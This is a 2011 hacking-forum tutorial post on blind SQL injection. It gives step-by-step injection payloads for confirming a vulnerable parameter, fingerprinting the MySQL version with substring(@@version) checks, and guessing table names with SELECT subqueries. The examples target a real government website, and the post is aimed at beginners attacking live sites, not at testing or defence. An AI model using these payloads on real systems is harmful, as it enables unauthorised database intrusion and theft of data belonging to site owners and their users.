+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [HOT] Blind SQL Injection ! [HOT] (/showthread.php?tid=1439347)
[HOT] Blind SQL Injection ! [HOT] - Stenography - Jul 2, 2011
blind sql injection
if you dont know about mysql injection turn around and learn it b4 u even consider learning this, because this is a whole different story.
1. test for vulnerability
so you have a site lets say :
Code:
w w w . c i a . g o v / n e w s . p h p ? i d = 1
just like normal mysql injection but for blind you put
Code:
w w w . c i a . g o v / n e w s . p h p ? i d = 1 a n d 1 = 2
if you see any text from the page missing or an error message like invalid id or db_error select * from xxxx@localhost call line "/" or anything like that then its vuln this works because 1=2 is always false you see if it was
Code:
w w w . c i a . g o v / i n d e x . p h p ? i d = 1 a n d 1 = 1
then you would get the normal page because 1=1 is always true
:b-beg-2. mysql version
to find mysql version you need to do this query
Code:
w w w . c i a . g o v / i n d e x . p h p ? i d = 1 a n d s u b s t r i n g ( @@ v e r s i o n , 1 , 1 ) = 4
if the pages comes back true then the version is 4 if not then try
Code:
w w w . c i a . g o v / i n d e x . p h p ? i d = 1 a n d s u b s t r i n g ( @@ v e r s i o n , 1 , 1 ) = 5
if it comes back true then its a version 5
3. fuzzing tables and columns
to find the table name you need to guess it so... here is the query
Code:
w w w . c i a . g o v / n e w s . p h p ? i d = 1 a n d ( S E L E C T 1 f r o m a d m i n l i m i t 0 , 1 ) = 1
i have guessed the table admin if the page loads true then the table exists eg. the table name is administrator and we try
Code:
( S E L E C T 1 f r o m u s e r s l i m i t 0 , 1 ) = 1
then it will return with an error a.k.a. false but if we did
Code:
( S E L E C T 1 f r o m a d m i n i s t r a t o r l i m i t 0 , 1 ) = 1
then it would not error a.k.a. true
All credits given to: http://secretz.wapka.mobi/site_49.xhtml
Enjoy 🎉